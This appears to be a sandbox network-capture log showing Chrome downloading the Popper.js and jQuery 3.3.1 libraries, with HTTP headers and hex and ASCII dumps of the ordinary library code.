2024-09-28 22:59:03 UTC	924	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:59:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 864571 Expires: Thu, 18 Sep 2025 22:59:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Is8qDGrKc3DsUyvnCRiMLTL2r1S2KpksSE%2B8Ny3efKWykkvoFqyf3fASZLFfWvWPuOaRCBGwwnlktg4jXqfOdIOl7hL3eFbjxPn7QbMgVeqKTUCfSH3nFKnXru4DlB8EaDp5289P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7577758adc45c-EWR
2024-09-28 22:59:03 UTC	445	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 29 2c 72 3d 69 2e 6f 76 65 72 Data Ascii: edStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.over
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['bor
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 42 4f 44 59 27 21 3d 3d 64 2e Data Ascii: ,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==d.
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f 2e 63 6c 69 65 6e 74 57 69 64 Data Ascii: height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientWid
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 79 6c 65 73 3a 7b 7d 2c 61 74 Data Ascii: cated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},at
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 74 2c 6f 2c 69 29 Data Ascii: per.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNode),t,o,i)
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 74 27 3d 3d 3d 65 3f 27 65 6e Data Ascii: ){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e?'en
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e 3d 65 2e 70 6c 61 63 65 6d 65 Data Ascii: ].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.placeme
2024-09-28 22:59:03 UTC	1369	IN	Data Raw: 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e Data Ascii: }(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnProperty.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49740	151.101.2.137	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:02 UTC	354	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:03 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 28 Sep 2024 22:59:02 GMT Age: 3340552 X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 146, 1 X-Timer: S1727564343.935934,VS0,VE1 Vary: Accept-Encoding
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 69 6e 67 2d 69 64 69 6f 6d 73 0a 09 72 63 73 73 65 73 63 61 70 65 20 3d 20 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 0a 09 66 63 73 73 65 73 63 61 70 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 63 68 2c 20 61 73 43 6f 64 65 50 6f 69 6e 74 20 29 20 7b 0a 09 09 69 66 20 28 20 61 73 43 6f 64 65 50 6f 69 6e 74 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 55 2b 30 30 30 30 20 4e 55 4c 4c 20 62 65 63 6f 6d 65 73 20 55 2b 46 46 46 44 20 52 45 50 4c 41 43 45 4d 45 4e 54 20 43 48 41 52 41 43 54 45 52 0a 09 09 09 69 66 20 28 20 63 68 20 3d 3d 3d 20 22 5c 30 22 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 22 5c 75 46 46 46 44 22 3b 0a 09 09 09 7d 0a 0a 09 Data Ascii: ing-idiomsrcssescape = /([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,fcssescape = function( ch, asCodePoint ) {if ( asCodePoint ) {// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTERif ( ch === "\0" ) {return "\uFFFD";}
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 65 20 49 45 20 65 72 72 6f 72 0a 09 2f 2f 20 53 65 65 20 68 74 74 70 73 3a 2f 2f 62 75 67 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 74 69 63 6b 65 74 2f 31 33 33 37 38 0a 09 72 62 75 67 67 79 51 53 41 20 3d 20 5b 5d 3b 0a 0a 09 69 66 20 28 20 28 73 75 70 70 6f 72 74 2e 71 73 61 20 3d 20 72 6e 61 74 69 76 65 2e 74 65 73 74 28 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 20 29 29 20 29 20 7b 0a 09 09 2f 2f 20 42 75 69 6c 64 20 51 53 41 20 72 65 67 65 78 0a 09 09 2f 2f 20 52 65 67 65 78 20 73 74 72 61 74 65 67 79 20 61 64 6f 70 74 65 64 20 66 72 6f 6d 20 44 69 65 67 6f 20 50 65 72 69 6e 69 0a 09 09 61 73 73 65 72 74 28 66 75 6e 63 74 69 6f 6e 28 20 65 6c 20 29 20 7b 0a 09 09 09 2f 2f 20 53 65 6c 65 63 74 20 69 73 20 73 65 74 20 Data Ascii: e IE error// See https://bugs.jquery.com/ticket/13378rbuggyQSA = [];if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {// Build QSA regex// Regex strategy adopted from Diego Periniassert(function( el ) {// Select is set
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 74 79 70 65 20 5d 20 7c 7c 20 5b 5d 3b 0a 09 09 09 09 09 09 09 6e 6f 64 65 49 6e 64 65 78 20 3d 20 63 61 63 68 65 5b 20 30 20 5d 20 3d 3d 3d 20 64 69 72 72 75 6e 73 20 26 26 20 63 61 63 68 65 5b 20 31 20 5d 3b 0a 09 09 09 09 09 09 09 64 69 66 66 20 3d 20 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 63 61 63 68 65 5b 20 32 20 5d 3b 0a 09 09 09 09 09 09 09 6e 6f 64 65 20 3d 20 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 70 61 72 65 6e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 20 6e 6f 64 65 49 6e 64 65 78 20 5d 3b 0a 0a 09 09 09 09 09 09 09 77 68 69 6c 65 20 28 20 28 6e 6f 64 65 20 3d 20 2b 2b 6e 6f 64 65 49 6e 64 65 78 20 26 26 20 6e 6f 64 65 20 26 26 20 6e 6f 64 65 5b 20 64 69 72 20 5d 20 7c 7c 0a 0a 09 09 09 09 09 09 09 09 2f 2f 20 46 61 6c 6c 62 61 63 6b 20 74 6f 20 Data Ascii: type ] \|\| [];nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];diff = nodeIndex && cache[ 2 ];node = nodeIndex && parent.childNodes[ nodeIndex ];while ( (node = ++nodeIndex && node && node[ dir ] \|\|// Fallback to
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 0a 09 09 2f 2f 20 41 64 64 20 65 6c 65 6d 65 6e 74 73 20 74 6f 20 72 65 73 75 6c 74 73 2c 20 74 68 72 6f 75 67 68 20 70 6f 73 74 46 69 6e 64 65 72 20 69 66 20 64 65 66 69 6e 65 64 0a 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 6d 61 74 63 68 65 72 4f 75 74 20 3d 20 63 6f 6e 64 65 6e 73 65 28 0a 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 20 3d 3d 3d 20 72 65 73 75 6c 74 73 20 3f 0a 09 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 2e 73 70 6c 69 63 65 28 20 70 72 65 65 78 69 73 74 69 6e 67 2c 20 6d 61 74 63 68 65 72 4f 75 74 2e 6c 65 6e 67 74 68 20 29 20 3a 0a 09 09 09 09 09 6d 61 74 63 68 65 72 4f 75 74 0a 09 09 09 29 3b 0a 09 09 09 69 66 20 28 20 70 6f 73 74 46 69 6e 64 65 72 20 29 20 7b 0a 09 09 09 09 70 6f 73 74 46 69 6e 64 65 72 28 20 6e 75 6c 6c 2c 20 72 65 Data Ascii: // Add elements to results, through postFinder if defined} else {matcherOut = condense(matcherOut === results ?matcherOut.splice( preexisting, matcherOut.length ) :matcherOut);if ( postFinder ) {postFinder( null, re
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 6f 62 6a 65 63 74 0a 09 09 09 09 09 09 74 68 69 73 5b 20 30 20 5d 20 3d 20 65 6c 65 6d 3b 0a 09 09 09 09 09 09 74 68 69 73 2e 6c 65 6e 67 74 68 20 3d 20 31 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 Data Ascii: objectthis[ 0 ] = elem;this.length = 1;}return this;}// HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| root ).find( selector );// HANDLE: $(expr, context)// (which
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 65 70 74 69 6f 6e 48 6f 6f 6b 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 09 09 09 6a 51 75 65 72 79 2e 44 65 66 65 72 72 65 64 2e 65 78 63 65 70 74 69 6f 6e 48 6f 6f 6b 28 20 65 2c 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 70 72 6f 63 65 73 73 2e 73 74 61 63 6b 54 72 61 63 65 20 29 3b 0a 09 09 09 09 09 09 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 50 72 6f 6d 69 73 65 73 2f 41 2b 20 73 65 63 74 69 6f 6e 20 32 2e 33 2e 33 2e 33 2e 34 2e 31 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 70 72 6f 6d 69 73 65 73 61 70 6c 75 73 2e 63 6f 6d 2f 23 70 6f 69 6e 74 2d 36 31 0a 09 09 09 09 09 09 09 09 09 09 09 2f 2f 20 49 67 6e 6f 72 65 20 70 6f 73 74 2d 72 65 73 6f 6c 75 74 69 6f 6e 20 65 78 63 Data Ascii: eptionHook ) {jQuery.Deferred.exceptionHook( e,process.stackTrace );}// Support: Promises/A+ section 2.3.3.3.4.1// https://promisesaplus.com/#point-61// Ignore post-resolution exc
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 68 69 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 76 61 72 20 64 61 74 61 3b 0a 0a 09 09 09 2f 2f 20 54 68 65 20 63 61 6c 6c 69 6e 67 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 28 65 6c 65 6d 65 6e 74 20 6d 61 74 63 68 65 73 29 20 69 73 20 6e 6f 74 20 65 6d 70 74 79 0a 09 09 09 2f 2f 20 28 61 6e 64 20 74 68 65 72 65 66 6f 72 65 20 68 61 73 20 61 6e 20 65 6c 65 6d 65 6e 74 20 61 70 70 65 61 72 73 20 61 74 20 74 68 69 73 5b 20 30 20 5d 29 20 61 6e 64 20 74 68 65 0a 09 09 09 2f 2f 20 60 76 61 6c 75 65 60 20 70 61 72 61 6d 65 74 65 72 20 77 61 73 20 6e 6f 74 20 75 6e 64 65 66 69 6e 65 64 2e 20 41 6e 20 65 6d 70 74 79 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 0a 09 09 09 2f 2f 20 77 69 6c 6c 20 72 65 73 75 6c 74 20 69 6e 20 Data Ascii: his, function( value ) {var data;// The calling jQuery object (element matches) is not empty// (and therefore has an element appears at this[ 0 ]) and the// `value` parameter was not undefined. An empty jQuery object// will result in
